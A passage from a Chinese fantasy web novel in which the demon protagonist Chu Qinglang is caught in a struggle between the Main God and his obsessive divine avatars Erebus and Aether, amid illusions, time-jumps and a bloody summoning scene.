厄瑞波斯讥笑了一声,祂握住魅魔的尾巴,拇指揉捏着尾巴柔软的桃心尖尖,将那本来就艳红的尾巴尖搓磨的更加透亮饱满。 祂垂头,拿起尾巴尖舔了一下,尾巴后方的鳞片被阴影渗进,搔弄。 厄瑞波斯声音冷沉,“也不要想着离开这里。” 楚青琅闭了闭眼,弱点被彻底拿捏,他的神经也跟着一跳一跳的。 他说话,尾音也变得黏连,“别动!约书亚你不能这样!” “叫吾厄瑞波斯。” 腰肢被揽住,发丝顺着脖颈下滑,楚青琅掀起眼皮瞪了祂一眼,“你到现在还套路……我。” 祂遗憾似的揉捏着他的后颈,“为什么不愿意叫呢?” 呼吸交融,灼热燎人。 楚青琅偏头在祂的脖颈上咬下,尖锐的齿轻而易举深入皮肉。 却仿佛只咬穿了一块软泥,没有丝毫人类的迹象。 异样的触感让楚青琅清醒了过来,他说:“你知道的,就算是再来一遍,我一样是相同的选择。我不会留下来。” 按着后颈的手顿住,力气猛地加重。 楚青琅被皮肉闷的哼了一声,接着道:“游戏结束了。” 唇被彻底堵住。 摩擦间,属于祂的反驳细微。 “没有。” 怎么可能结束? 他们两个的纠缠,从来都不可能停滞。 厄瑞波斯吮着他的舌,沉寂许久的感官从蒙昧中复苏。 香甜,软弱,咬下去的话,会伴随着徒劳的挣扎和可怜的尖叫。 就再也不会说一些离开祂的话。 猩红眼珠死死的盯着他,瞳孔细微的转动着,揣摩着。 楚青琅只觉得一股危险感从面前的神明身上传来,那阴影分出枝蔓划过他的脖颈,沿着下颌深入唇舌。 将那被吮成秾艳色泽的血肉从齿间拽出。 楚青琅打了个激灵,他唔唔了两声,却没有换来丝毫怜悯。 苍白的神明注视着他,伸出手点着舌尖,兀自做了决定。 “那就再来一次。” “约书亚留不下你,没关系。” 那血眸中的尖啸震荡出道道波纹,一圈圈的围着瞳孔散发着令人目眩神迷的光芒。 厄瑞波斯平淡道:“时间会帮我留下你。” 这次行动太过仓促,同时为了防止主神的搜寻,祂们都不敢造出更加完整的世界。 因此才会让青琅察觉到不对。 只要下次更加完善一点,真实一点,祂会让青琅彻底沉迷下去。 心甘情愿的为祂停留。 他对约书亚那么好,他爱着祂的,只是差那么一点。 只差一点祂就可以留下他了。 模糊间,楚青琅看见周围所有的一切宛如一张纸被碎纸机猛地撕裂。 无数裂痕边缘蜷缩着,耳边尖锐的鸣响混了无数生命走到末路的哀戚。 楚青琅知道,如果主神再不来,一切都要到无法挽回的地步了。 涎水顺着舌尖淌下又被吮个干净。 拥抱沉重而窒息。 他们就这样站在混乱的中心,脚下的土地仿佛拼图掉落,露出真实的虚空。 可以想象,当再次重组后,他将面对的,是更为完善真实的世界。 同样,也更加的难以发现。 楚青琅感到了前所未有的紧张。 但是厄瑞波斯却只是执着的深深的吻着他,鼻尖交错,动作细致又粗暴。 楚青琅几乎觉得自己是一块饼干。 被碾碎重塑,又被咬吃了个干净。 …… “他已做出抉择。” 清冽漠然的声音轰然落下。 清绿色光芒猝然亮起,那裂开的裂缝被强硬的合上。 顷刻间,这片残缺的小世界重回稳定。 厄瑞波斯猛地转身,神情带着彻骨的冷酷杀意。 “本体,你怎么不去死!” 一道模糊混沌的身影出现在一片裂缝之间,他拥有着和厄瑞波斯一样的眼眸。 望过来时带着绵绵暖意。 他走出,只一步就站在了厄瑞波斯的身后,挥手,无数代码组成的数据流便将祂控制住,然后转移到了一旁。 楚青琅身上的束缚猛地消失,他掉落在一个熟悉的怀抱中。 手臂下意识的伸出,勾缠着男人的脖颈,楚青琅将头埋在他的颈项中喘息。 尾巴紧紧缠绕在他的腿上,脊背弓起,仿佛炸毛的猫一般。 微凉轻柔的力道在楚青琅的背部轻轻落下,安抚着他紧张的心绪。 那道清冽声音再次响起,“厄瑞波斯,我之所以能够被你们所牵制,只是因为不想伤到青琅。你,做的过了。” 厄瑞波斯冷笑,“我就是你,说什么过!要不是你一直占着他,我们何必联手将人夺来,到了现在,你竟然还敢出现在我们面前?!” 祂周身涌出一股股的淤泥般的黑暗,转瞬间便将主神稳定下来的世界重新动摇。 主神揽着楚青琅皱眉。 对于他在小世界的每一个分身来说,他们都是像厄瑞波斯这样想的。 只是对于之前的世界,他们从未在生命层次上有着如此高的突破,因此面对楚青琅则更为人性。 会因为爱慕之人的甜言蜜语动摇,会因为爱人的眼泪妥协。 但是现在站在他面前的厄瑞波斯和他们不同的是,当到达祂们这个地步,漫长的生命中所剩下的,只有偏执。 对于唯一的,能够点燃祂们爱欲的执着。 这也是他最为担心的地方。 厄瑞波斯神情森冷,接着说:“埃忒洱,滚出来!” “别这样暴躁。” 金发神衹的身影在一旁显现,祂的身上带着一道道伤痕,将他宛如积木一样分割平均。 但是金色的血肉成线连接蠕动着,很快就将那伤痕愈合成一道浅淡的线,他走过来,脚下仍在撕裂动摇的土地便被金光稳定下来。 埃忒洱的视线从厄瑞波斯身上轻飘飘掠过,定在了少年的脊背上。 上面有着一只手在不断抚着,透露着刺眼的占有欲。 祂好似劝说:“再完美的计划都有失败的时候,厄瑞波斯,不要那么失态。” 被转移到一边的厄瑞波斯从数据流中挣脱出来,祂神情阴沉,嗤笑,“装什么,你是被主神大卸八块卸掉了胆子?” 周围涌动的阴影不断向着主神那里侵蚀而去,却在碰到淡绿色光芒时陷入胶着状态。 埃忒洱并未因为祂的话产生任何情绪波动,祂知道,厄瑞波斯此时已经陷入了疯狂。 因为祂们的爱人,即将被抢走。 祂身后倏然展出虚幻的,神圣洁白的翅膀,周身则缭绕着一颗颗眼珠组成的环。 喀拉喀拉—— 围绕着祂缓慢的旋转,只是那白色睫羽下方的金色瞳孔,总是牢牢的注视着不远处抱着少年的男人。 透着同他话语完全的不同的疯狂和杀意。 祂说:“主神,你不应该插手的。这是我们的战斗。” 主神揉捏着楚青琅的后颈,感受着那跳动的脉搏微微眯了下眼。 他已许久,许久未碰触到他活生生的爱人了。 但是现在还不是缠/绵诉说情话的时刻。 还需要解决面前两个烦人的,该死的分身。 他抬眼,当看见祂已经迫不及待展露出的狰狞姿态时,他嫌弃的道:“我不过来难道要看见你们在他面前露出这种姿态吗?” 吓到他的青琅怎么办?还有,让他的形象受损怎么办? 怀中的少年仿佛缓了过来,想要回身,他轻巧的松手,将人放了下来。 只是依然环着楚青琅的手腕。 突出的骨骼硌在掌心,带来鲜明的存在感。 主神声音平和的诉说,却透露出无法掩藏的傲慢。 “埃忒洱,你私自蒙蔽青琅的记忆,甚至造出多个天使想要他们勾引住青琅,但是就算这样,你依然失败了。” “在这之前,我可并未插手。所以,就算是想要找理由,也不用朝我身上寻,毕竟——” 主神扫视着他们,唇微微翘起,竟露出笑来。 “他对于你们的爱,从来都只是基于我的存在。” “如此,他绝无可能会在这里停滞下脚步。” 话音落下,面前的两道身影神情猛地扭曲了一瞬,眼瞳中是相似的冷冽,带着要将主神剥皮拆骨的恨意。 哇,好狠。 这简直是在祂们的心挖出来,然后撂在地上踩。 楚青琅眨了下眼,尾巴下意识的勾住了男人的腿拍打了一下。 他偏头,小声说:“你能不能打过祂们?” 虽然先前主神面对厄瑞波斯还蛮强势的,但是现在可是又增加了一个心思深沉的埃忒洱。 二对一。 从数量上看起来很悬啊。 至于他,当然是旁观的。 主神学他偏头,红眸中漾着笑,削薄的唇勾起,“好像打不过?” 楚青琅打了个激灵,手腕想要抽回却因为被握住只是晃动了一下,他直接扒着他的肩膀气道:“那你还说那些话刺激祂们做什么?我们一起留在这里相亲相爱吗?!” 主系统和那些小系统要是知道了,眼泪又该啪嗒啪嗒的落了。 想到这里,楚青琅忍不住瞪了他一眼。 却只见到那张熟悉又不熟悉的面孔上,挂着闷闷的笑,只笑得他莫名其妙的。 主神见他眉高高挑着,缠在腿上的尾巴也越发用力,知道他已经到了炸毛的边缘,于是瞬间软了态度,低头在他的眉心上烙下吻,“别担心,相信我。” 在他的唇接触到楚青琅的瞬间,余光中,游蛇般的阴影和利箭一般的金光飞速袭来。 稳定下来的树木和动物迅速萎缩,又仿佛经过变异,生出狰狞面目和节肢来。 楚青琅瞳孔骤缩。 但是主神却依然是一副沉迷的模样,仿佛全然没有察觉到一般。 “清醒一点!” 他挣开手就要朝他扇过去,却发现那阴影和金光在距离他们不远处便被显现的数据流吞没。 主神握住他的手腕,放在唇边亲吻。 “好。” 温热的触感于皮肤上一闪而逝,眼前仿佛被薄纱蒙住,所有的一切变得虚幻起来。 楚青琅抬手,却发现不知何时他带上了一截绸布,主神的声音从身前传来。 “接下来的场景会吓到你,别摘。” 第96章 第 96 章 记住我。(番外)…… 楚青琅的手一顿, 还是听话的放了下来,只是茫然的看向声音发出的地方。 虽然不清楚主神为什么这么说,但是为了自己的小心脏着想,他觉得还是没有必要把它摘下。 主神的声音从前方传来。 “要么滚, 要么死。” 面前的两道身影已经彻底变成了怪物的姿态。 厄瑞波斯身躯仿佛融化一般, 源源不断的阴影如淤泥般向着四周扩散, 祂说:“我会杀了你!” 埃忒洱颊边生出裂缝, 仔细瞧去竟然长出另一双眼,周身的光芒愈发刺目。 金光同绿意相接处, 阴影在中间穿梭。 祂声音轻柔,“你难道会放弃他吗?” 主神突兀的笑了一下,语气平淡的为祂们判了死刑。 “那你们就去死吧。” …… 当声音落下后,楚青琅的耳边就只剩下了一片的寂静。 他有些迷惑,神明之间的战斗这么安静的吗? 他下意识的打开系统面板, 试图看看强制退出的按键有没有修好。 虽然主神说能够挡住祂们,但是不怕一万只怕万一嘛。 楚青琅觉得还是先回主神空间来的安全。 但是不知道面前的绸布是用什么制成的,直接投射到意识中的系统光屏都连带着模糊不清起来。 楚青琅啧了一声, 还是将它关闭了。 周围安静极了, 都能听见属于自己的呼吸声还有心脏跳动的声音。 楚青琅抱着尾巴左右看了看, 发现就连光影都没有变化。 两边依然是虚化的绿色和轻透的光芒,宛如贴图一般。 他碾了下脚尖, 脚下依然是土地的坚实触感。 难道主神另外给他开辟了一个空间? 但是既然这样, 为什么还要多此一举的让他带上眼罩? 就在他边思索着边无聊的敲击着尾巴上的鳞片时,耳边突然传来细小的呼唤声。 “青琅。” 一声又一声,越来越近。 是约书亚,楚青琅扭头。 “你没事吧?我们可以离开这里了,快过来。” 脑海中顿时浮现出金发碧眼的青年, 还有那双冷淡又带着深深爱意的眼眸。 楚青琅下意识的转动脚步,想要上前。 另一旁却又响起几声同样的呼唤。 伊莱温柔担忧的询问他,“青琅你怎么了?来这里好吗?” 艾斯维撒娇道:“我又给你带了草编鸽子,还有新的圣曲,你答应我要和我一起听的。” 以诺克声音冷冽,“过来。” 这些声音交织在一起源源不断的向着他的耳边传来。 他们的面容也在他的脑海中浮现。 楚青琅抱着尾巴立在原地,很有些不知所措。 难道主神和祂们不在这里打吗? 为什么约书亚和伊莱他们会来? 刚想到这里,那些喊叫声越发的急切。 “青琅!” “快过来!” “我好痛,亲一亲我好不好?” “青琅,我们一起离开这里。” 发生了什么? 怀中的尾巴仿佛变成了约书亚趴在他肩上,周围缭绕着火焰,那双湛蓝眼眸凝着他,带着哀求。 光芒闪耀,面颊旁被轻微的碰触,掉落在手背上。 摸起来丝滑细腻,像是伊莱的羽片。 楚青琅下意识的抓住眼上的绸布,骨节用力,就要将其拽下。 粘稠的暗沉的光芒顺着绸布的边缘丝丝流入。 耳边那些声音也随之更近。 “我们永远在一起好不好?” “青琅,你留下的刻痕都浅了。” “别离开我。” 哀戚的,悲伤的,绝望的声音顺着耳膜传入神经。 一道道的,直让他觉得咽喉发紧,心神不宁。 呼—— 呼吸拂面。 有谁站在了他的面前,用饱含黏腻深沉的情感,期待着望着他。 楚青琅猛地清醒过来,冷意顺着脊背蔓延全身。 他松开手,赶忙后退了一步。 在绸布重新回去的时候,所有的声音都消失不见。 耳边重新回到一片的寂静中。 主神给他带的绸布并不是为了不让他害怕,反而是让他免受祂们的侵扰。 楚青琅抿了下唇,心中不禁担忧起来。 这个手段,很像是埃忒洱做的。 要不是祂太过于急切,忘记了现在的时间段内,他和约书亚和伊莱都未曾见面。 他很有可能真的将绸布摘下了。 现在不能乱动,最好是等着主神过来带他走。 这样才能确定他的安全。 正想着,披风前端传来一阵轻拽的力道,像是有人在为他整理。 楚青琅下意识抬手挡住,却被握住。 清冽的声音带着慵懒意味响起,“怎么了?这么紧张?” “主神?”楚青琅疑惑发问,“解决了?” 骨节被寸寸抚摸,湿冷缠绵。 握住他手的人嗯了一声,接着道:“走吧,我们离开这里。” 拉力传来,楚青琅下意识的跟随着走了一步。 但是脚下的土地却柔软起来,踩到胶水一般的粘滞感从鞋底传来。 楚青琅皱起了眉,他勾出自己携带的匕首,不经意间叫道:“厄瑞?” 为什么会说离开这里? 他想,如果真的是主神,说的应该是和他回去,毕竟对于他来说,主神空间才是真正的家。 身前的人没有回话,只是握住他的手的力道重了些。 并不像是人类的手那样因为带着骨骼而坚硬,反而像是橡皮泥一般全然的将他的指缝骨节全然覆盖。 楚青琅猛地站定,挥手朝着应该是手腕位置的地方猛地砍下。 却仿佛劈开了水流,不带丝毫阻隔质感。 在发力的瞬间,一直牵着他手腕的东西就消失不见。 楚青琅压下砰砰作响的心脏,冷汗顺着脖颈滑落脊背,悚然感让他指尖颤了一下。 他抬起手不断的将手背在衣服上蹭着,试图将那种黏哒哒的感觉蹭掉。 周围重新恢复安静,脚下泥潭一般的触感也变得坚硬起来。 楚青琅放下被蹭到火辣辣的手,放空了自己的思想。 他已察觉到,祂们的诱惑是根据他的想法来的。 只要冷静下来,不听不看不动,就可以安全。 想必这个后手就是在厄瑞波斯和埃忒洱之前短短的交流中埋下的,虽然表面看上去祂们都被疯狂冲昏头脑,但是毕竟是神明。 而主神应该是察觉到了,但是并未确认。 因此才未强制性的让他不许摘下,也并未告诉他。 只是为他做了保障,相信他能给自己处理。 这种信任竟让楚青琅心中生出一些愉悦来。 他握着匕首,站在原地,唇微抿,透着绸布看那一成不变的光芒。 时间一点一滴的过去。 恒久的寂静让他不自觉的焦躁起来,胃部开始抽搐,不像是疼痛,空荡荡的。 他感到了饥饿。 楚青琅干脆闭上了眼,用来抵抗脑海中不自觉浮现出来鲜血的香甜。 还有约书亚和伊莱他们划破自己脖颈流淌而出的液体,顺着肩膀锁骨流下,他们仰着脸,金发下是顺从的,柔软的眼眸。 凝望着他,微微歪了下头。 “为什么不动?” “青琅?” 鲜红,带着热气,落到指尖舌上,最先传来的是丝滑与温暖。 顺着咽喉落进胃部便是蒸腾而起的满足感,从每根毛孔钻出,带来令他颤栗的舒适。 楚青琅仿佛被迷惑一般,弯下了腰肢,他伸手,勾勒着他们的面容。 掌心传来真实的湿软触感。 不远处艾斯维放飞的白鸽在眼前盘旋,翅膀蓬松而又柔软。 戴着薄薄的手套的以诺克,从身后揽着他的肩握住了他的手腕。 肩颈的骨骼被莹润皮肉包裹,指尖深入伤口时,可以听见血肉被撕裂的声音。 伊莱面上流露出痛意,但是神情却更为温和起来,他单膝跪地,伸手覆上他的手背,却并不是推开,而是将那伤口撕裂的更加深。 约书亚站起身,捧起他的面容,温热吐息铺洒于面庞。 齿关被撬开,舌尖被勾出含住轻吻。 澄澈的眼眸阴翳如丝线,将楚青琅的思绪全然笼罩。 少年立在林间的土地上,他保持着站立的姿态微微仰头,手向前抚摸着虚空。 脚下轻盈的微光亮起,勾勒出一个个繁复的法阵,很快,便将他全然笼罩。 ——青琅! 遥遥传来一声呼唤,在耳边炸响。 楚青琅猛地睁眼,却发现自己站立在熟悉的街道边缘。 面前人头攒动,穿着铠甲的骑士挡在人群之前,清理出来一条干净的道路。 不远处行来的是穿着法袍的一行人,最前方的人金发碧眼,神情冷淡漠然,分明是约书亚,只是丝毫不像是他印象中的那样温和。 楚青琅微微蹙了下眉,伸手摸了一下眼前,却愕然的发现一直带着的绸布已然不见了踪影。 余光中,他猛地察觉到有人栽了过来。 楚青琅下意识的想要避开,却发现那人仿佛穿过了空气一般穿过他后一屁股坐到了地上,咒骂了几声。 这里还是幻境? 怎么还没完没了了。 楚青琅的尾巴拍了一下小腿,主神怎么这么慢,不会真的被厄瑞波斯和埃忒洱联手给弄走了吧? 那他还怎么回去? 只是犹豫这么一会儿,约书亚就带着人走远了,相比起留在这陌生的环境中,楚青琅还是决定跟了上去。 约书亚来的地方是一间教堂。 高高的阶梯上穿着红袍的老人持着法杖,垂眸望着他们像是在训话。 这个老人分明就是之前试图烧死他的人。 楚青琅好奇的凑了上去,甚至伸手拽了一下老人的白胡子。 但是修长光洁的手伸出,碰到胡子的瞬间仿佛幻影一般穿过。 试了几次后,他还是悻悻放弃了。 随后看着下面一脸虔诚的人们还有约书亚,又走下阶梯,在他的眼前挥了挥手。 但是那蓝色的瞳孔没有丝毫的变化,仿佛真的看不见他一般。 楚青琅莫名的有些气馁又有些生气,于是伸手在他的身上划来划去。 从束缚着脖颈的领子,到肩膀,直到来到了胸口。 只是刚放上去,面前的人的胸膛就深深起伏了一瞬,仿佛是被他刺激到了一般。 楚青琅下意识的收手,抬眼就看见约书亚垂下了头,双眼微闭,做出了祈祷的手势。 刚刚的一切好像只是他的幻觉。 他犹疑着拍了下去,手的边缘溶进约书亚的长袍,和之前一样。 还没等他收回手,眼前一下子昏暗了起来,整条手臂直接穿过了青年的胸膛,然后便是肩膀,直到两人身形重叠,分开。 脑海中还残留着那因为距离靠近而几近于蓝黑的眼眸,楚青琅愣了愣,转身看着穿着洁白法袍的青年,还有和他分开的别的圣子候选人,咬了下牙,跟了上去。 约书亚应该看不见他。 但是祂们在他的面前展示出这种场景做什么? 他都说了他不会留下来。 楚青琅跟着约书亚进入教堂,东走西走的,直到来到了一个墙壁四面都是书册的房间。 看起来,像是图书馆。 约书亚就坐在一条长桌前,白金两色的法袍圣洁。 他脊背挺直,神情认真的垂眼看着手中的书,在他的手旁,除了装订成册的书籍,还有一些卷起的羊皮纸。 楚青琅走过去,下意识的想要伸手按着桌子看,却发现无法受力,踉跄了一下才稳住身子。 模糊间,他仿佛听见了一声笑。 他疑惑的望去,约书亚依然是那副认真的模样,就连姿势都没有变化。 “约书亚,你能看见我。” 话音落下,并未有人回应。 楚青琅挑眉,直接来到他的身前,伸手虚虚的敲了下他的眉心,尾巴也伸了过去,想要向着先前那样缠绕在他的脖颈上。 “说话。” 约书亚抬眼,却并不是看着他,而是站起身,向着一旁的书架走去。 长袍穿过他的身体,楚青琅啧了一声,压下了浮动的心绪。 青年挑选完成之后,站在那里看了起来,他看的很快,看完就放下换了下一本。 楚青琅站在一旁,不耐的抿着唇。 良久,在约书亚终于结束挑选拿着书走过来时,他忽地甩手将一个匕首扔了过去。 锋利的刀尖刺入眼眸,湛蓝色的瞳孔微不可察的收缩了一瞬。 却依然被楚青琅给发现了痕迹。 他勾起唇,尾巴在身后晃动着,“约书亚,别装了。” 落地窗外的阳光勾勒出恶魔的身形,四肢修长,面容靡丽,眼尾带着深刻的红,声音拉长,带着懒散的得意。 清晰无误的映在了眼中。 约书亚握着书的手收紧,他冷声道:“你是何人?为何会知道,我的名字?” 唔,看起来这次是他没有了记忆。 楚青琅朝他走去,弯腰,殷红的唇瓣水润,分开会露出尖尖的牙,瞧起来邪气又可爱。 他说:“我?我是你未来的爱人。” 约书亚冷淡的瞥了他一眼,只是说:“恶魔,我会将你的存在告知于裁决所的大人。” 楚青琅伸手,虚幻的匕首又重新出现在他的掌心。 “随你,只是我应该不是你这个时间线的爱人,很快就会离开。”他随口说:“只是除了你别的人看不见我,如果你真的想要让我离开,那就为我想一想办法。” 阳光投进,穿过掌心落在地上,油汪汪的,亮的虚假。 “别的时间线?” 约书亚看着被他带过来的,神情自若的站在窗户下沐浴着阳光的恶魔,声音含着凉意。 楚青琅收回手,并没有先说明情况,只是看了一眼周围的陈设。 “你作为圣子候选人就住在这种地方?” 简陋的只有一张床,还有桌椅,看起来格外的,简朴。 约书亚却只是端正的坐在他的对面,虽然楚青琅摸不到,但是桌子上依然放着两杯茶水。 “神说,不可——” “好了!” 楚青琅打断他的话,他现在听见神明就想起厄瑞波斯还有埃忒洱,看着望过来的约书亚,他简单的删去了神明的存在,说了一下之前的经历。 约书亚起先还很冷静,到了后面,握着茶杯的手基本上就不动了,眉头皱起,唇紧紧的抿着。直到楚青琅下意识的伸手去勾茶杯,又因为直接穿过去而发出了一声轻哼后,才恍然醒了过来。 “咔哒。” 杯子的底部和桌子相碰,茶水溅出,顺着杯壁滑落,留下浅浅的湿痕。 约书亚收回目光,冷静道:“所以你觉得这里是假的,需要我帮你出去。” 楚青琅从阳光下走来,倾身瞧他,“你怎么不觉得我在说谎?毕竟那里的你可是和我上床了欸?” 约书亚错开目光,没有接话,“虽然现在只有我能看见你,但是为了以防万一,你不要出这个房间,以免被旁人察觉到。” “不要。”楚青琅伸手,似乎要撩那垂下的金发,却在最后一颗弯曲手指敲了敲他的眉心,他漫不经心道:“你去那里我去那里,大不了再被烧一次,没准我就又回去了。” 吱呀—— 凳子腿划过地面,发出仓惶的尖锐响声。 “随你。” 约书亚硬邦邦的甩出两个字,站起身就向着门外走去。 楚青琅直起腰,按了下胃部,抱着尾巴跟了上去 约书亚作为圣子候选人的生活异常的无聊。 天不亮就早起晨祷,进行教义学习,复习仪式流程。 楚青琅跟着,只觉得缺觉,往往这个时候他都会猫在一旁,无聊的把玩着自己的匕首或者尾巴。 他都快数清楚自己尾巴上面到底有多少的鳞片了! 然后约书亚自己去帮助城镇的子民,并趁机向着他们传递教义,并不让他跟着。 但是在人走后,楚青琅还是会自己溜出去,试图探索一下这里的边际,并且看看能不能打开系统面板。但是这种行为在被约书亚发现之后,他就变成了挂件,不能离开约书亚十米的距离。 不然就不帮他找回去的路。 约书亚的威胁很有效果,楚青琅虽然觉得他口中的教义很烦,但是也只能接受。 晚上回来之后,圣子候选人还要冥想反思自己的行为举止。 觉得有错误,就自己进小黑屋,考验鞭笞自己的心灵。 楚青琅觉得约书亚有点毛病,因为他进小黑屋的次数并不少。 屋子中只靠着一根烛火照亮,其余的地方都是黑漆漆的,看起来又冷又瘆人。 而约书亚就跪在那点子亮光里,背后满是阴影,面无表情的样子又不像是在虔诚反思。 楚青琅在他的身后走来走去,尾巴轻摇,不经意的穿透他的手臂还有脊背。 虽然并没有触感,但是只要微微睁眼,就能够看见那桃心尖尖的一抹艳红,仿佛烙铁一般,直直的刺进眼球。 就算是重新闭上眼,视网膜上也会残留着那抹红,越来越深,直到眼珠感到疼痛。 约书亚垂头,脊背弓起,轻声说:“你安静会。” 楚青琅扭头看他,一脸的不情不愿,“但是这里很无聊,你又不和我说话,我又没办法和别人说话” 约书亚道:“我有给你找书看。” 楚青琅挑眉,直接走过去蹲在他的面前。 白皙的臂膀露出,肉与肉交叠在一起,线条流畅。指尖圆润,指甲尖锐,泛着红,正在不经意间的划动着,仿佛在空中演奏一般。 他说:“你念的那些都是神明斩杀恶魔的,我是恶魔欸,还有我又不认识你们的字,我看什么?” 楚青琅最后盖棺定论,“都是你太无趣了!你要是带我去酒馆或者别的地方玩玩我就不缠着你了。” 约书亚闭上眼又闭上了嘴,不再说话。 楚青琅看了他一会儿,还是没有忍住开口询问,“我和你说的那个邪神你找到了没有?” 约书亚吐了一口气,平静道:“锡城并无邪神的存在。” “真的?” 看着约书亚点头。 楚青琅站起身,重新走来走去,难道这是因为别的时间线?但是时间线只是他随口说出来敷衍约书亚的。 突然,他灵光一闪。 为什么这里不能是本来该有的剧情,就是说,正常有着主角和反派的小世界。 要确认这一点很容易。 他又伸手在约书亚的面前晃悠,“你记得你来到这里之前的生活吗?还有你家人的面容,对了,还有那个欺负孤儿的神官” “这个他也同你说了?” 约书亚好似要抓住他的手,却在半途放弃。 楚青琅直接虚虚按住,凑近道:“是啊,你快想。” 绮丽的面容上一双漆黑的眼眸好似水晶剔透,里面映着一点的烛光,却又带着些许的天真。 为什么要回去呢? 明明那里的他都给恶魔逼得逃跑了。 约书亚不太明白,但是他本来就是想要将这个恶魔送走,毕竟恶魔最会蛊惑人心,这种天真也许就是他装出来的,背后会有什么阴谋。 毕竟在恶魔的口中,锡城最后会变成失落之城。 但是现在,这里并不是这样。 在那白皙的手指又在眼前晃了下后,他说:“记得。” 楚青琅的视线闪了闪。 约书亚记得,这就说明这里不是那个残缺的小世界。 也许不需要他找,只要约书亚最后走向了属于自己的结局,他就可以离开这里了。 看着面前青年疑惑的视线,楚青琅勾唇,朝前蹭了一步,在他的唇角轻吻。 “知道了。” 约书亚抬手捂住嘴,瞳孔放大。 楚青琅却站起身,径直的朝着小黑屋外走去。 “你愿意就在这里呆着,我去外面看看。” 身后并未传来声音。 楚青琅也没有在意,直接穿门离开了这里 月亮高悬,慷慨的洒下光华,将目之所及的一切都附上了一层光滑的膜。 只是走着走着,楚青琅却突然感到了一阵的眩晕,眼前的世界顿时扭曲起来。 他不禁闭上了眼缓了缓。 等那突兀的感觉褪去,眼前的一切又恢复了寻常。 楚青琅看过去,却总感觉原本还清亮的月亮,像是带着血色。 他转身,朝着那个小黑屋走去。 周围的环境寂静压抑,像极了他带着绸布呆的那个地方。 楚青琅的脚步越来越快,并没有在意打开的房门,进去就叫人。 “约书亚!你有没有发现不对的地方?刚刚我——” 话音落下,他吞回了剩下的半句话。 两旁错落摆放着盏盏烛火,将原本漆黑的小黑屋照的透亮,也将地下的残肢断臂血渍和法阵照的清晰。 “这是召唤恶魔的法阵,只是我试了好久都没有成功。” 依然穿着圣洁法袍的约书亚站在房间中央,握着法杖带着半身血渍回头,在看清他的瞬间,面上露出了温柔的笑。 “所以最后,我已经准备用所有人的性命献祭还好,你回来了。” 约书亚叹息一声,缓步向他走来,“我一直在等你,为什么,突然消失不见呢?” 他一直没走啊。 看着这种熟悉的,濒临疯狂的神情,楚青琅下意识的后退了一步。 “你,你怎么能这样做?!” 难道原本的剧情中,约书亚也是这样堕落的? 面上染着血渍的金发碧眼的青年来到他的面前,并没有回答,只是唇角含笑的问:“是去找另一个我了吗?” 楚青琅摇了摇头,握紧了手中的匕首。 明明面前的人碰不到他,却带给他了莫大的威慑力。 约书亚眉宇间流露出满意的神情,他欺身压着他,双臂虚虚环绕着,仿佛在同他接吻。 “好乖。” “留下来吧。” “你发什么疯?我没有离开,只是莫名其妙的跳跃时间了!” 楚青琅下意识的伸手推拒,却猛地穿过他的胸口,等踉跄一步站稳后,一切的场景消失。 周围又浮现出一圈圈的宛如胶卷一般的光屏。 上面满是他离开后的画面。 约书亚的行为越来越异常,周围死的人也逐渐增多,很快,就有人发现了他的行动,将他捉拿起来,绑上了火刑架。 金发被灼烧的卷曲,俊美的面庞被炙烤的通红,但是在最后一刻,他却仿佛真切的瞧见他了一般,眼中迸发出惊喜来,焦黑的手努力挣脱绳索,唇蠕动着。 “青琅。” 最终,约书亚逃了出来,成为了恶名远播的叛神者,以厄瑞波斯自居。 楚青琅恍然,这是厄瑞波斯在向他展示自己的来历? 但是为什么? 眼前的画面再次变化。 小世界已经毫无生命的存在,厄瑞波斯坐在高座之上,双目微闭仿佛假寐。 随即,祂猛地睁开双眼,撕开了面前的空间来到了一片虚空之中。 这里时间如河流,没过脚踝,莹莹发亮。 金发金眼的神明站立在那里,掌心中赫然是一个已经毁灭的小世界。 祂轻声说:“你遇到了他,所以成为了湮灭者厄瑞波斯。” 楚青琅几乎以为他在同他说话,但是面前的场景却突然模糊了起来,他一摸,那绸布不知何时又显现了出来。 看起来是因为祂们此时是神明,免得他被发现。 厄瑞波斯冷声说:“怎么,你嫉妒?” 埃忒洱仿佛笑了一声,“吾只是想要见见他。毕竟,吾的时间线中,没有他的存在。” 厄瑞波斯讥讽道:“吾还以为光明神不会执着于情爱。” 埃忒洱手掌微动,那毁灭的小世界便消失不见。 “漫长的生命中,吾只剩下如此执念了。”祂说:“可惜,他的一切都被旁人遮蔽,无法探寻。” 厄瑞波斯沉默下去,良久,祂才冷笑一声。 “既然这样,那就看谁更有耐心。” 脚下的幽幽流淌的时间河流突的发出盛大的光芒。 楚青琅不禁偏了下头。 等再次回神,面前仍然是那间满是残肢断臂的血腥屋子,他依然保持着那要摔倒的姿势,此刻却被人接住,搂进了怀中。 噗嗤—— 指缝传来粘腻的湿濡感。 冷硬的匕首柄硌的掌心生疼。 从心脏喷涌而出的血液溅入眼珠,将眼前的一切都染成了血红色泽。 面前的人紧紧的搂着他,白皙俊美的面容被蒙上了红纱。 那一双湛蓝的眼眸忽地恢复成了冷静,话语平静。 “记得,是你把我变成了这样。” “我是厄瑞波斯,亦是埃忒洱。” “不要忘记我。” “青琅——” 耳边乍然响起熟悉的喊声,楚青琅一身冷汗的睁眼,心脏砰砰直跳,就像是做了一个噩梦一样。 耳边重新出现鸟儿的叫声。 他双目上的绸布被拽下,扭头看去,幽绿的树林寂静。 白色的鸽子正在他的不远处盘旋,染着金色的纯白羽翼散落在枯枝树叶之上。 下颌传来轻微的力道,将他的脸扭正。 面前,主神正弯腰瞧着他。 血色双眸深深,面上带着笑。 “我们回家吧。” 楚青琅眼尾突兀的落下泪来,又被吻掉。 “都是我。” “别伤心。” 第97章 第 97 章 娇气。 “唰!” 楚青琅冷静下来推开主神, 反手将手中的匕首甩到了一边的树上。 “现在可以走了吗?我的目的你应该也知道,就是为了找到我之前的记忆。” 他看着面前的男人,有些疑惑又有些踟蹰,“我, 知道你不是从一开始就在爱我, 而是因为在忘记的那段时间里, 我们发生了什么, 所以无论是兆歧还是他们,才会爱上我。” “所以, 我需要我们的开始,还有我自己的过去。” 楚青琅这样说着,踌躇在眉宇间消散,他仰头,花瓣似的唇上亮晶晶的。 主神忍不住弯腰亲了一口, 然后在少年的眼眸中寻找自己,直到找到了那一抹红,他勾着少年的手指晃了下。 “不是因为之前, 而是只要是你, 只有你。所以就算我不再是我, 也会为你沉迷。” 楚青琅的眼睫蛾翅般轻动。 他意识到了不对,主神比他想象的更加会说话? 楚青琅张口结舌, 却见距离极尽的红眸析出点滴笑意, 顺着轻吻砸在心间。 